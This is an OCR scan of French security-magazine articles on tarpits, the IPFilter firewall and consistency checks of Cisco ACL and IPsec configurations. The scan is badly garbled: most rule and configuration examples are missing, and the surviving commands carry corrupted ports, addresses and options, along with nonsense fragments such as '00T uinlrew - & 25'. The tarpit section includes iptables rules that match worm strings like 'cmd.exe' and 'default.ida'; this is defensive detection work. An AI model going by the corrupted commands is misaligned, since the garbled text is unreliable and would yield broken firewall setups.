parler un peu, sans forcément imposer une taille de fenétre TCP
de 0 (on aurait aime avoir le choix via une option).

Netfilter (netfilter.org), partie firewall du noyau Linux, propose
aussi des options de Tarpit, trés bien présentées sur un article
en ligne [SFO3]. Pour l'instant, il faut utiliser le patch-o-matic de
Netfilter pour activer cette option supplémentaire, qui n'est pas
toujours inseree par défaut (Gentoo le propose dans son noyau
par defaut). Apres la mise en place du patch du noyau, il suffit
d'activer le tarpit dans Networking Options -> IP: Netfilter

| = n . .
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Configuration apres avoir rajouté la partie Packet Filtering.
Ensuite, on recompile son noyau et les éventuels modules avant
de pouvoir bénéficier de cette fonctionnalité.

Une fois de plus, c'est trés simple a utiliser et le fonctionnement
observé correspond plus a celui de Labrea qu'a celui du mode
tarpit de la version courante de Honeyd. Si, par exemple, on
désire engluer un ver attaquant le port |35, on utilisera Netfilter
comme ceci :

iptables -A INPUT -p tcp -m top --dport 135 -j TARPIT

Le noyau Linux gerera lui-méme le mode tarpit pour chaque
nouveau visiteur TCP arrivant sur le port 135 de votre machine. Il y
a de quoi pas mal déconcerter les vers, les scripts kiddies ainsi que
les clients un peu stupides (il a &té rapporté que certains auraient
joué des tours a des clients P2P pour les freiner un maximum).

Une option proposée dans [SF03] consiste a utiliser le module
string de Netfilter. | permet en effet de chercher un mot clef
dans un paquet. Ainsi, les deux lignes de shell suivantes demandent
au noyau de rechercher chaque paquet TCP allant vers son port
80 et contenant soit default.ida, soit cmd.exe :

iptables -1 INPUT -j TARPIT -p tcp -s 0.8.0.8/8 --dport 88 -m
string --string "default.ida"

iptables -I INPUT -j TARPIT -p tcp -s 0.8.8.8/6 --dport 80 -m
string --string "cmd.exe"

En cas de correspondance entre ces regles et un paquet entrant,
on demande alors au noyau d'utiliser le mode tarpit. Selon nous,
il ne s'agit que d'un exemple donné a titre d'illustration technique,
car il n'est pas forcément conseillé d'avoir des centaines de régles
de ce type sur un pare-feu Linux (performances dégradees).

Enfin, notons qu'un Linux utilisé comme passerelle peut traiter
avec du tarpit certains paquets TCP qui entrent vers le réseau
(il suffit d'utiliser une régle du type iptables -A FORWARD -p tcp
-j TARPIT).

Dans cet article, nous avons essentiellement parlé des couches
2, 3 et 4 du modele OS|. Mais, il faut savoir que le concept de
tarpit est venu se greffer au niveau des couches 7 désormais.
En effet, dans le cadre de la lutte contre les spammers, certains
développérent des faux serveurs de mail et des faux serveurs

proxy, faisant croire qu'ils acceptent des requétes entrantes (open
relay SMTP, open proxy, etc.}). Dans ces faux serveurs, on trouve
parfois des options type tarpit, appelées aussi « Teergrube » dans
ce cas (il s'agit de la traduction de « tar pit » en allemand). A
peu pres tous les serveurs de mails ont eu des versions patchées
permettant d'appliquer ce genre de fonctionnement [QMAIL]. Le
but est par exemple de freiner une session SMTP au niveau 7, grace
a des erreurs, des ralentissements, etc., en particulier lorsque 'on
voit qu'un utilisateur distant essaie des choses considérées comme
louches (mail contenant des centaines de RCPT T0, etc.).

Conclusion

Les tarpits ne seront pas les pots de miel les plus utilisés
au monde. Pourtant, nous tenions a |es presenter pour
aborder certains concepts intéressants comme le fait
d'essayer de leurrer des vers (Code Red, Nimda...) ou
encore d'essayer de ralentir des sessions au maximum.
Cette derniere fonctionnalité, relativement simple,
demeure tres intéressante au niveau contre-mesure en
securite informatique. C'est une alternative possible des
NIDS ou des NIPS essayant de repondre a des agressions
réseau venant notamment d'actions automatiques
(scanners...) voire méme des techniques anti-spam ou anti-
crawler web. Néanmoins, un agresseur suffisamment expert
se rendra rapidement compte du mauvais comportement
réseau observé et pensera probablement i la presence
d'un tel pot de miel en voyant ses sessions ralentir de
plus en plus.

En esperant que cet article vous aura informe sur ce
sujet, voire aura suscité des envies d'essayer ce type de
technologies, gageons que vous engluerez de nombreux
attaquants dans vos propres « puits de goudron ».

Merci a Pappy pour avoir publié cet article (prévu pour
MISC8) sur les pots de miel collants qui n'a pas pour
objectif de rappeler aux lecteurs, de maniére subliminale
et 4 peine humoristique, qu'il faut s'inscrire au Sstic.
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Filtrage des paquets
avec le logiciel IPFilter

Christian Pélissier

Le logiciel IPFilter -~ IPF en abrégé — est un logiciel
permettant de doter un systéme Unix d'une fonction de
Firewall. Contrairement au logiciel Netfilter qui opére
dans le monde Linux, IPF est issu de la famille BSD. Il
opére de ce fait sur FreeBSD, NetBSD mais aussi sur des
Unix commerciaux comme IRIX, HP-UX, Solaris Sparc
ou Solaris X86. Notons qu'il est présent par défaut dans la
version 10 de Solaris pour remplacer le logiciel SunScreen.

Il est trés simple de compiler ce firewall sous Solaris 8 et 9 et sa
configuration ne présente pas de difficultés particuliéres. Il est
neanmoins trées fortement recommandé par Daren Reed, |'auteur
de ce logiciel, de le compiler sur les architectures 64 bits avec le
compilateur cc de Sun Studio plutét que gec.

Laversion 4 de ce logiciel est parue en 2004 et nous présenterons
ici la version courante qui est la 4.1.8. L'ancienne version 3.4.35
continue son évolution de son cote.

Principales fonctions
supportées par IPF

IPF est un logiciel de filtrage avec etat (statefull) ce qui signifie qu'il
memorise des informations sur les connexions en maintenant
une table d'état des connexions autorisées. Le maintien d'une
table d'état permet d'autoriser automatiquement les paquets
entrants correspondant a une connexion sortante autorisée et
inversement. IPF n'est pas limité au filtrage de paguets et il assure
aussi la translation d'adresses (NAT) et de ports.

IPF filtre les paquets au moyen de regles dans lesquelles on
peut :
+ faire référence aux adresses source et destination ;

+ designer l'interface a laquelle s'applique une régle :
g q ppliq g

+ indiquer le ou les ports et donc les protocoles
concernes ;

# indiquer les options des paquets |P ;

* refuser des paquets fragmentés ou trop courts ;

*+ retourner ou non des indications via le protocole ICMP ;
* journaliser ;

* eatc,

Nouveautés de la version 4

A partir de la version 4, IPF est composé de 2 paquetages qui
s'installent et se mettent a jour de maniére indépendante :

+ PFil2.1.6,
+ |PFilter 4.1.8.

Le démarrage du filtre

Le module 1711 est chargé dynamiquement au démarrage du
systéme par le script /eic/rcl o/51piil Le filtrage est ensuite
active par le script ; L. Lors de l'installation,
on pourra vérifier le chargement du module (7! a l'aide des
deux commandes suivantes (le nom de ['interface réseau est ici

hme0).

On voit avec cette deuxiéme commande que le module
s'insére entre la couche physique et la couche IP.

Le fichier de configuration iu.ap

Ce fichier est utilise pour déclarer les interfaces pour lesquelles
on va charger le module . Dans le cas ou une seule interface
existe, on aura par exemple le contenu suivant :

Dans le cas de plusieurs interfaces, on aura autant de lignes que
d'interfaces sur lesquelles on utilisera IPF.

La journalisation

IPF offre des possibilités de journalisation via le service syslog. I
permet de choisir le niveau de journalisation pour chaque regle
Dans les exemples de cet article, on utilise le niveau

La journalisation sera donc effective si on ajoute dans le flch|er
de configuration " la ligne suivante et si on signale
le changement au démon syslogdA

Dans les exemples qui suivent, on journalise les échecs et on utilise
un seul niveau de journalisation. En pratique, il faudra parametrer
la journalisation en fonction de l'utilisation et du trafic pour faire
en sorte que les données générées restent exploitables.

Le fichier de configuration principal
ipf.conf

Le fichier |p1 i deécrit les régles de filtrage. Les régles sont
parcourues en sequence de la premiére a la derniére.
Imaginons que ce fichier ne comporte que les 2 régles
suivantes :

i e e ——
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Lorsqu'un paquet IP entrant arrive, il est reconnu par la premiére
régle qui le bloque. Puis on passe a la regle suivante qui le laisse
passer. C'est la derniere régle applicable a un paquet qui est
retenue et donc on laisse passer les paquets entrants. Lorsqu'un
paquet est reconnu par une régle comportant la directive quick,
les regles qui suivent sont ignorees. L'emploi de qu 'k determine
I'ordonnancement des régles. Ici la directive 1100k peut étre placée
avant la directive p:<: car elle n'utilise pas la directive 71

Cas d'un poste de travail seulement client

Nous allons introduire la syntaxe utilisee par IPF par un exemple
simple consistant a protéger un poste de travail du monde
exterieur grice a ce logiciel. Le poste de travail doit interdire
I'accés a tous ses serveurs et autoriser |'utilisation en mode client
sans restriction. Pour une protection deja efficace les quelques
lignes suivantes suffisent :

Ces 5 regles n'autorisent aucun accés entrant mais permettent
d'utiliser la plupart des logiciels client. Examinons-les plus en détail.
La premiére ligne interdit tout paquet entrant sur |'interface hme0
et comme elle comporte la directive 111k, on ne va pas plus loin
dans le parcours des regles du moins pour les paquets entrants.
Toutes les tentatives de connexion a un service du poste de travail
seront donc interdites et de surcroit enregistrées par syslog au
niveau tice. La deuxieme ligne autorise les paquets TCP
sortant de l'interface hme0 avec n'importe quelle adresse source
vers n'importe quelle adresse destination et utilisant des ports
source et destination quelconques. La directive keep state esttres
importante, car c'est elle qui indique qu'on maintient une table
d'état pour les connexions. Une fois la connexion établie, c'est
cette directive qui autorise les paquets entrants correspondant a
une connexion sortante. Sans elle, il serait nécessaire de rajouter
une regle pour autoriser les paquets entrants associés a cette
connexion sortante. La ligne trois et la ligne quatre jouent le
méme role respectivement pour les protocoles UDP et ICMP. La
derniére ligne bloque tout paquet sortant non autorisé par les 3
lignes qui précedent.

Pour faire prendre en compte ces regles, le plus simple dans un
premier temps consiste a arréter puis a relancer le filtre soit :

On aurait pu étre plus précis dans |'ecriture de ces régles dans
le cas ou |'adresse associée a l'interface est connue (ce n'est pas
toujours le cas, par exemple dans le cas d'une connexion PPP
ou celui d'une adresse obtenue dynamiquement par une requéte
DHCP). Soit 172.24.34.1 I'adresse de |'interface hme0. Les régles
précédentes peuvent alors se reécrire de la fagon suivante :

On sait que la grande majorité des applications TCP utilisent un
port source supérieur a 1024. On pourrait donc encore modifier
les régles en définissant une restriction sur les ports TCP.

Il y a toutefois des exceptions avec les r-commandes qui utilisent
des ports source décroissants a partir de 1023. Il faudra donc
rajouter des regles specifiques dans le cas ou on desire utiliser les
logiciels correspondants. Notons qu'on pourrait étre encore plus
précis en indiquant les adresses et les ports de sorties autorises.
En pratique, il vaut mieux rester assez vague si on souhaite que
la gestion des regles garde une certaine simplicite et pour ne pas
les alourdir d'une multitude de cas particuliers.

Pour autoriser ' oin et
serait necessaire :

Il clients, I'ajout des 2 lignes suivantes

Ou plus simplement :

Protocoles particuliers

Pour definir les regles, une bonne connaissance des protocoles
gu'on veut filtrer est nécessaire. Le protocole FTP par exemple
est tres particulier puisqu'il utilise a la fois le port 21 (FTP)
pour la connexion et le port 20 (FTP-data) des qu'on utilise
une commande qui effectue un transfert de donnees (', .o/,

i1, etc.). Lorsqu'on execute une telle commande, il y a dans
un premier temps une negociation de port entre le client et le
serveur puis le serveur transfere depuis le port 20 vers un port
supérieur a 1024 du client obtenu par la negociation précedente.
Autrement dit, une fois la négociation de port terminee le client
se comporte pour |e transfert de données comme un serveur.
De ce fait pour le bon fonctionnement d'un client FTP en « mode
actif », l'ajout de la ligne suivante est obligatoire :

Notans que la plupart des clients recents (les navigateurs en
particulier) supportent un autre mode de connexion appele
« mode passif ». En mode passif, la valeur 20 n'est plus utilisee et
le port FTP-data est un port de valeur superieure a 1024 obtenu
par negociation. En outre, c'est le client qui prend l'initiative de
la connexion vers ce port FTP-data. En mode passif, la regle
précédente n'est plus nécessaire.

On retiendra de ce cas particulier que le protocole FTP est un
protocole particulier et que si le mode passif simplifie le filtrage
coté client, il le complique du coté serveur.

Cas d'un poste de travail client et serveur

Imaginons maintenant que le poste client devienne aussi serveur
et souhaite ouvrir les acceés ssh pour I'ensemble des postes de son
reseau local et autorise la réception de messages SMTP depuis la
passerelle de messagerie dont |'adresse est 172.24.1.25.



Louverture de ces 2 services se traduit par l'ajout de 2 regles qui
seront placées avant la régle qui bloque les paquets entrants. Ces
regles utilisent obligatoirement la directive quick pour interrompre
le traitement et |a directive kecp <Lale pour autoriser les paguets
en retour correspondants. De plus comme une ouverture de
connexion TCP positionne le flag SYN, on n'autorise la connexion
que si ce flag est positionneé.

On remarquera que le protocole applicatif est désigné soit par
son numéro de port officiel soit par le nom qui lui est associé
dans le fichier /atc/services.

Avec un filtre ordinaire sans etat, la premiere régle devrait étre
remplacee par les 2 regles suivantes :

Outre le fait qu'il faut ecrire une deuxiéme regle pour le paquet
sortant, cette régle autorisant le paquet entrant correspondant est
moins précise pour le numéro de port que celle automatiquement
mise en place quand on utilise le mode avec etat (f=er <fate)
Avec etat, seul le port effectivement utilise est autorisé, sans
etat ce sont tous les ports supérieurs a 1024. En outre, la sortie
de paquets depuis le port 22 est possible que la connexion ssh
existe ou non.

Fonctionnalités avancées

L'anti-spoofing
Il n'est pas normal que des paquets avec des adresses privées telles
que celles définies par le RFCI918 se présentent en entrée sur une
interface reliée au monde extérieur. |l est donc souhaitable dans
un réseau utilisant un adressage prive d'interdire sur l'interface
Internet I'entrée de tels paquets.

Filtrage de paquets particuliers

On pourra filtrer les paquets qui présentent cerrtaines
particularités parfois detournées de leur fonction initiale pour
contourner les regles du coupe-feu. On pourra ainsi rejeter tout
paquet fragmenté :

ou ne rejeter que les paquets TCP fragmentés trop courts :
rejeter tout paquet contenant des options P :

ou indiquer les options qui seront filtrées :

Répondre ou ne pas répondre

Lorsqu'on bloque un paguet, on peut indiquer clairement le
refus du paquet par un reset de connexion ou retourner des
informations via ICMP. La politique a adopter sera déterminee par
la visibilité qu'on voudra donner de I'équipement filtrant au monde
extérieur. On pourra par exemple offrir une bonne visibilité du
monde Intranet et étre totalement obscur du coté Internet. IPF,
comme le montrent ces quelques exemples, offre une grande
souplesse dans la definition d'une telle politique.

Refuser toute requéte ICMP sauf celles qui entrent sur l'interface
hme0.

Retourner un refus de connexion immediat pour les paquets qui
arrivent sur une interface et ne donner aucune indication pour
une autre.

0g quick

Retourner des indications via ICMP.

La translation d'adresses
et la translation de ports

Les fonctionnalités d'IPF ne sont pas limitees au filtrage des
paquets. La translation d'adresses et/ou la translation de ports
sont des operations qui doivent étre declarées dans le fichier
ipnat.cont, On dispose pour cela de 3 directives :

# 11 translate I'adresse et/ou le port de paguets entrants,
+ map translate T adresse etf’ou le port - de paquets sortants,
+ bitnap transhate les paguets qui entrent et qui sortent d'une
interface.

Translation des adresses sortantes

Le fichier ipnat ¢ sera utilise pour définir les regles de
translation d'adresses et/ou des régles de translation de ports.
Au niveau de la translation d'adresses, on peut translater :

L

Les equipements client internes qui voudront benéficier de la
translation d'adresses devront déclarer I'équipement IPF comme
routeur par défaut dans le cas ol la translation est généralisee
ou déclarer une route qui transite par le routeur IPF vers
I'équipement externe ciblé. En outre, il est aussi indispensable de
faire pointer le client DNS vers un serveur DNS sachant résoudre
les adresses internes privées comme les adresses externes dans
le cas ou on generallse la translation ou declarer I'adresse ciblée
dans le fichier /eic/hosts

On devra par ailleurs s'assurer que |'equipement IPF route bien
les paquets. Si ce n'est pas le cas et dans le cas de Solaris ces deux
commandes sont a exécuter :

00T uinlrew - & 25
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Translation n vers une

On translate ici n adresses vers une seule adresse, généralement
I'adresse de l'interface Internet, comme le fait un mandataire web
au niveau applicatif, mais avec beaucoup plus d'efficacité puisqu'on
agit ici entre le niveau physique et la couche IP.

Dans le cas ou on ne connaitrait pas a l'avance |'adresse de
I'interface de sortie (connexion PPP par exemple) ou s'il y a une
seule possibilité d'interface de sortie (I'équipement sur lequel
opere IPF ne dispose que de 2 interfaces), on écrira cette regle
ainsi :

On pourra aussi translater les ports source en fixant une plage de
ports 2 utiliser (la deuxieme ligne concerne les protocoles autres
que TCP et UDP comme ICMP ou ESP/AH par exemple):

3 | i ahi
¥ [ I pru ek L}

Translation n vers p

Translation n vers n
Ces régles ne sont pas suffisantes pour que la translation
d'adresses fonctionne et il est nécessaire comme on l'a deja
indiqué :
+ que le coupe-feu |PF soit désigné par les postes de travail
desirant utiliser le NAT comme le routeur ;

+ que I'IP forwarding soit établi au niveau du coupe-feu.

Mais ce n'est pas encore suffisant et il faut aussi autoriser la sortie
des paquets au niveau du filtre IP et donc rajouter dans ipf.ron!
les regles suivantes :

Ces regles concernant 'interface de sortie coté Internet peuvent
sembler curieuses. C'est bien I'adresse d'origine qu'il faut filtrer
et cela signifie tout simplement que la translation est faite apres
le filtrage.

Dans le cas ou l'adresse translatée est differente de I'adresse de
l'interface de sortie, il ¥ a une derniére condition a remplir pour
que le NAT fonctionne. |l faut faire du proxy ARP pour cette
adresse en lui associant l'adresse physique de l'interface de sortie.
Si par exemple I'adresse de l'interface de sortie est 192.18.110.1
et que son adresse physique est 00:03:bb:18:96:15 et si I'adresse
NAT utilisée est 192.18.110.2, il faudra publier l'adresse avec la
commande 41 soit :

1162 Bf-ay A
Je.40.LdE. L di 323t

Bien évidemment si la translation concerne n adresses, on devra
répéter cette association pour les n adresses utilisées. Si elles sont
continues, on pourra faire cela avec simplement un script bash.

Il est possible de conditionner la translation d'adresses en fonction
de I'adresse source et de |'adresse destination :

Translation des adresses et ports entrants

On peut effectuer une translation de port pour un serveur HTTP
interne et le rendre visible de I'extérieur. Ainsi le serveur web
interne s'exécutant sur le port 8080 apparaitra au monde externe
avec l'adresse 192.168.110.1 et le port BO.

Dans le cas de la translation d'adresses et de ports entrants,
la translation a lieu avant le filtrage et il faudra donc en tenir
compte pour filtrer les accés internes. Ainsi, si on souhaite rendre
ce serveur accessible de I'extérieur par un client d'adresse IP
223.223.10.1, on utilisera la regle de filtrage suivante :

Il est enfin possible de conditionner |a translation en fonction de
l'adresse source :

Proxy transparent

Lorsqu'on translate les adresses sortantes des clients externes,
HTTP ou FTP joignent directement Internet avec une adresse
apparente définie par le coupe-feu. Il n'est donc plus nécessaire de
déclarer un proxy au niveau de ces clients HTTP et FTP. Toutefois,
dans le cas particulier de ces deux protocoles, ce mode de
fonctionnement constitue une régression en termes de sécurité
par rapport a un mandataire web. En effet, les mandataires HTTP
et FTP assurent généralement un filtrage trés pousse allant du
filtrage d'URL, au rejet de certains types de fichiers en passant par
la décontamination virale. |l est donc souhaitable de continuer a
faire passer ces protocoles par un mandataire et il est souhaitable
de l'effectuer en laissant les clients dans la configuration par défaut
qui n'utilise pas un mandataire.

Dans le cas d'un mandataire FTP, tout paquet arrivant sur
I'interface Intranet vers n'importe quelle adresse port 2| sera
redirigé sur I'adresse du mandataire local operant sur le port 2|
(notons 3 ce sujet qu'il n'est pas possible de rediriger sur I'adresse
127.0.0.1 car l'interface loopback Solaris n'est pas, pour des raisons
de performance, implantée de fagon standard).

La définition de groupes d'adresses
ippool.conf

Ce fichier constitue I'une des nouveautés de la version 4. || permet
de définir un ensemble d'adresses et de faire référence dans le
a des adresses définies dans avec la
est le numéro du groupe.

fichier |
- syntaxe [(0//1 ou



FICHE TECHNIQUE

On fera reférence a un ensemble d'adresses ainsi définies de la
fagon suivante :

Ce qui presente I'avantage de remplacer plusieurs lignes par une
seule, Il permet donc de rendre le fichier | beaucoup plus
lisible et on n'hésitera pas a utiliser cette possibilité.

Mise au point et audit du filtrage

Définir les regles de filtrage est une opération relativement aisée
lorsqu'on protege un poste de travail doté d'une seule interface
IP. 1l est probablement utile de commencer I'apprentissage de ce
logiciel en commengant par ce cas simple, puis de passer a celui
dun serveur doté d'une seule interface avant de s'attaquer au cas
plus general d'un équipement multidomicilié.

Lorsque le filtrage mis en place ne fonctionne pas avec certains
protocoles, les causes du dysfonctionnement se trouvent dans les
informations journalisees si toutefois on a bien pris la peine de
journaliser les échecs. L'examen du journal avant de se lancer dans
lamodification de regles est donc indispensable. Si on connait mal
le protocole concerné, il ne sera pas inutile de relire son RFC.

Pour un serveur équipe de plusieurs interfaces jouant le réle de
coupe-feu, le risque d'erreur croit avec le nombre d'interfaces,
le nombre de protocoles et le nombre d'adresses autorisées. La
journalisation est une aide précieuse pour la mise au point. Elle
enregistre aussi toute tentative illégale. Si le rejet des tentatives

illegales est une indication de bon fonctionnement du filtre, il ne
garantit en rien que celui-ci soit conforme au cahier des charges.

Il en résulte qu'un contréle de I'efficacité des regles est
indispensable. Pour étre valable, ce test devra étre répété autant
de fois que la machine possede d'interfaces IP en se placant dans
les conditions adéquates. Le logiciel nmap est tout i fait indiqué
pour valider le filtrage et garantir qu'il soit conforme 4 la politique
de sécurité du site.

Conclusion

Cette presentation décrit de maniére succincte les
fonctions principales du pare-feu IPF. L'aspect exploitation
de ce logiciel a été presque passé sous silence et on aurait
pu indiquer comment ajouter des regles a la volée ou
examiner les statistiques. C'est I'aspect configuration qui
a ete privilégié. On pourra l'approfondir en consultant les
pages du manuel qui décrivent a l'aide d'une grammaire
BNF les regles utilisables dans les différents fichiers de
configuration. On y découvrira comment IPF est capable
de retourner n'importe quel code ICMP, de sélectionner
les paquets en fonction des options IP, des niveaux de
sécurité, du TTL ou encore des flags TCP.

N =i T
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- IP Filter Based Firewalls HOWTO : Brendan Conoboy et Erik
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Analyser les configurations des equipements

et des services reseau

Les configurations des équipements réseau
(commutateurs, routeurs, pare-feu, systémes de détection
d’intrusion, etc.) mettent en ceuvre la sécurité « logique »
d'un réseau. Cette derniére est établie par des regles de
configuration précises réalisées sur ces équipements
comme la configuration des régles de filtrage d’'un pare-
feu, d’un routeur, etec. Toutes ces régles sont solidairement
responsables de la mise en place de la politique de
sécurité réseau. Si une régle est mal configurée, le
principe du maillon le plus faible de la chaine s’applique.

1. La problématique de la
consistance des configurations

Les inconsistances des configurations des équipements réseau
dues a des erreurs de configuration, gu'elles soient volontaires ou
involontaires, peuvent mettre en danger le réseau mais aussi les
serveurs attachés a ce reseau. Ces inconsistances peuvent venir
notamment des régles de filtrage ou ACL (Access Control List),
définies mais jamais appliquées ou des regles de filtrage appliquées
mais jamais définies. On peut aussi avoir au sein d'une ACL des
regles qui peuvent &tre redondantes, voire contradictoires. Cet
exemple illustre les redondances et incohérences contenues dans

emit 17 14,

il pe 76,0 B0
| deny [P 14,4,0.9 0.0.255.255 14.4.45.4

Les inconsistances déetectées sont les suivantes :

[Fa

Les lignes 2 et 4 sont contradictoires.

De maniere générale, la configuration d’'un equipement reseau
est constituée de lignes référant a des éléments de configuration.
Ces lignes de configuration suivent une syntaxe et un ordre de
configuration qui sont propres a chaque type d'équipement.
Par exemple, la configuration d'un équipement CISCO est
foncierement différente de celle d’'un équipement JUNIPER.
Méme au sein d'un méme constructeur comme CISCO, on peut
constater que la configuration d'un PIX est tres differente de
celle d'un routeur. Chaque équipement met également en ceuvre
une sémantique différente qui peut engendrer des problemes
subtils comme appliquer une ACL sans pour autant étre oblige
de la définir ! Quels que soient cette syntaxe et cet ordre, si des
éléments de configuration sont définis mais jamais appliqués, si
des éléments de configuration sont appliqués sans étre deéfinis, si
des lignes de configuration sont redondantes ou contradictoires,

la configuration de |'équipement réseau est alors inconsistante
et peut engendrer des comportements anormaux ou inattendus.
Linconsistance d'une configuration peut donc engendrer de
sérieux problemes de securite.

2. Exemple d'analyse
de la consistance de configuration
des ACL

Les ACL sont des éléments de configuration permettant de filtrer
les flux réseau a des fins de securité. Il est donc essentiel d'analyser
ces ACL en profondeur. Toute inconsistance detectee sur une
ACL impliquant la sécurité, comme le filtrage des protocoles
réseau, doit étre connue et répertoriée. Nous considérerons
qu'une configuration est consistante par rapport aux ACL si les
deux conditions suivantes (ou invariants) sont remplies :

+ Tous les elements de filtrage de type ACL definis doivent

étre reférences.

+ Tous les éléments de filtrage de type ACL reférences
doivent étre definis.

Bien qu'il soit difficile d'associer un niveau d'impact si I'une de ces
deux régles n'est pas respectée, on peut dire qu'une ACL definie
mais non référencée peut étre un serieux trou de securite si
celle-ci doit jouer un réle de filtrage important. De méme, une
ACL référencee mais non definie est genéralement traitee comme
une ACL permissive, c'est-a-dire que tout est permis. Cela n'est
évidemment pas souhaitable si I'ACL joue un role de filtrage de
securite.

La vérification de ces invariants peut s'exprimer par le pseudo-
code suivant :

# |egtilre

FIN POUR

Le script ac]_check.sh (http:/lwww.miscmag.com/articles/
19-MISC/conf-reseau/) vérifie que les filtrages de type ACL
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definis sont references et que les filtrages de type ACL réferences
sont definis (vérification des invariants de consistance). Ce script
est un exemple non exhaustif et devra donc étre complété.
Par ailleurs, il est écrit en langage AWK et s’exécute sur une
configuration CISCO.

De nombreuses autres sections d'une configuration doivent étre
verifiees, notamment tout ce qui concerne le routage réseau [2].
Quantaux ACL, la détection des regles inconsistantes, redondantes
etinutiles fait I'objet de travaux de recherche [3,4].

3. Exemple d'analyse
de la consistance de configuration
d'IPSEC

De méme que pour les ACL et afin d'assurer les services réseau
attendus, les configurations des services réseau doivent étre
analysées pour s'assurer de |'application de la politique de
securite.

3.1. Consistance de configuration
es CryptoMap

Dans les MISC 15 & |6 — « IPSEC et router CISCO - Fiche
Technique » —, des configurations CISCO implémentant IPSEC
etaient expliquees. Nous proposons ici de vérifier la consistance
dune configuration IPSEC en considérant la configuration CISCO
cont test suivante :

Le script (psec.sn (http://www.miscmag.com/articles/
19-MISC/conf-reseau/) verifie que les éléments IPSEC définis
sont references et que les elements IPSEC références sont définis
(verification des invariants de consistance). Ce script est un

exemple non exhaustif et devra donc étre complété. Par ailleurs,
il est écrit en langage AWK et s’exécute sur une configuration
CISCO. Si on exécute ce script sur la configuration IPSEC
cont_test, on obtient alors le résultat suivant (aucune inconsistance
n'a été détectée) :

§ ank - ./ipsec.sh ./canf_test

pasnd

Modifions la configuration IPSEC afin d'introduire des
inconsistances comme l'illustre la commande UNIX diff entre
les deux fichiers conf test et conf_testl :

Si on exécute ce script sur la nouvelle configuration IPSEC
conf testl, on obtient alors le résultat suivant pointant sur les
inconsistances de configuration :

Bashs awk - 1pSec.s Co pstl

bashs

Il doit étre noté que CISCO ne permet pas de supprimer une
cryptomap si celle-ci est appliquée sur des interfaces, a moins de
la supprimer sur toutes les interfaces prealablement.

En revanche, I'inconsistance de configuration d'une ACL, non
definie mais appliquée dans une cryptomap, peut effectivement
bloquer le routeur et le service réseau associe.

3.2. Consistance de configuration
des politiques ISAKMP

Si on désire vérifier la consistance de configuration de la politique
IPSEC isakmp de deux routeurs, une technique un peu simpliste
consiste a parcourir les configurations, a extraire les éléements
cles de la politique isakmp et a controler les éléments qui ne
sont pas des doublons. Voici le script écrit en langage AWK qui

Kad
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s'exécute sur deux configurations. Ce script est un exemple non
exhaustif et devra donc étre complété.

# [/bin/sn

# imprime une |
if (1§88 [= {1/

st nn
2t on

imprime Tes

Z |-sort | unig -u

Si on exécute ce script sur deux fichiers (conf test et conf testl)
contenant la méme configuration isakmp IPSEC, on obtient alors
le résultat suivant (les politiques isakmp sont identiques) :

pash$ . /ipsec_isakmp.sh
bashs

conf_tast ./co

En revanche, si on modifie dans conf_test la politique isakmp
(3des en des et aroup 2 en group 1), on obtient alors le résultat
suivant pointant sur les déviations de la politique iszknp :

bash$ ./ipsec_isa
C

akmp.sk ./ co pst | fconf testl

pto isakmp
ypio isakmp
crypto isakmp po

crypto isakmp p

group 2

3.3. Consistance de configuration
des périmetres IPSEC

Si on désire vérifier les périmetres de configuration des réseaux
privés virtuels IPSEC, I'approche consiste a analyser le graphe
IPSEC engendré par les configurations des VPN IPSEC. Pour cela,
nous considérerons tout d'abord que le nom d'une cryptomap
suit la regle de configuration suivante :

WRH_K_Y

i : identifiant unique d'un VPN IPSEC

¢ : instance d'une nouvelle politique pour un VPN IPSEC

Par exemple, la cryptomap VPl _1 1 correspond au il letala
politique de sécurité |. De méme, VP 1 7 correspond au VPN |
et a la politique de sécurité 2.

Ensuite, si pour chaque configuration on arrive a renseigner
les champs de la table IPSEC suivante (il peut avoir plusieurs
enregistrements par configuration de routeur), il est alors
possible de construire le graphe IPSEC que nous détaillerons
par la suite :

TaBLE IPSEC

champ NomRouteur nom du routeur

identifiant unique d'un VPN IPSEC

adresse IP de ['interface
ou est appliquée une cryptomap

adresse |P destinatrice du tunnel IPSEC

Le script ipsec_extract.sn (http:/iwww.miscmag.com/
articles/19-MISC/conf-reseaul), écrit en langage AWK,

s'exécute sur une configuration CISCO et permet d'extraire ces
informations. Ce script est un exemple non exhaustif et devra
donc étre complété.

Si on exécute ce script sur la configuration CISCO suivante :

hostname conf_test
!

crypto 1sakm
kmp
akmp
sakmp
szkmp
sgkmp

et

interface FastEthernetd

i addr :168.1,1 255

obtient alors le resultat suivant :

Awk =T ¢ extract.sh . Zconf test

Une fois la table IPSEC construite a partir de l'extraction des
informations contenues dans les configurations, le produit
cartésien de la table IPSEC par elle-méme, conditionne par le fait
que l'adresse IP de l'interface (ou est appliquée une cryptomap)
soit égale a |'adresse |P destinatrice du tunnel IPSEC et que les
cryptomapld soient identiques, donne alors tous les arcs de notre
graphe IPSEC comme l'illustre la requéte SQL suivante :

SELEC

o.IpAdresse, Ipsec.

Tabdrase

1. 1pAdresse, Ipser

1.IpAdre




selestination=Ipsec_1,IpAdresse and

.ryﬂfCM&L |

pld = Ip

Un sommet du graphe IPSEC est donc représente par le couple
(NomRouteur, cryptomapld) et un arc par un enregistrement
trouve par le produit cartésien précédemment décrit. Par ailleurs,
I'asymetrie de configuration d'un tunnel IPSEC indique que le
graphe IPSEC construit est dirigé comme l'illustre le schéma |.

Dans notre premiere configuration IPSEC conf test, la table
IPSEC serait alors renseignée par les données suivantes si nous
avions dans conf_festl la configuration IPSEC associée :

Adresse IP du
tunnel IPSEC

Adresse IP
de l'interface

Nom routeur Cryptomapld

192.168.1.1 192.168.1.154

192.168.1.154

192.168.1.1

Maintenant, si on realise le produit cartésien précédemment
decrit, on obtient alors les informations suivantes (en fait les
adresses IP nous permettent d'établir les relations de connectivite
entre les sommets) : voir tableau ci-dessous.

Les arcs du graphe IPSEC sont les
suivants :

«[Lonf _test 1) est ipsec-connecté a

Shema |

routeur 2,
VPN 1

"
H——.-—/
‘\\,.“/ / =
L
“' routeur 3,
\ VPN 1 VPN 2
\\-‘
o e

-
SNeaa e

.
A

_‘I.. routeur 4,
| VPN 2
s

’

-

Méme routeur physique

donnent les perimetres de securité des VPN IPSEC qui ont pu
étre definis dans les configurations. Ces périmétres de sécurité
montrent alors soit |'isolation d'un VPN IPSEC donné, soit des
interconnexions avec d'autres VPN IPSEC. Par ailleurs, I'extraction
de toutes les composantes fortement connexes d'un graphe est
un probleme facile [5].

Prenons un réseau plus complexe composé des routeurs et des
configurations IPSEC comme illustré dans le schema 2,

(Conf_testl,l)

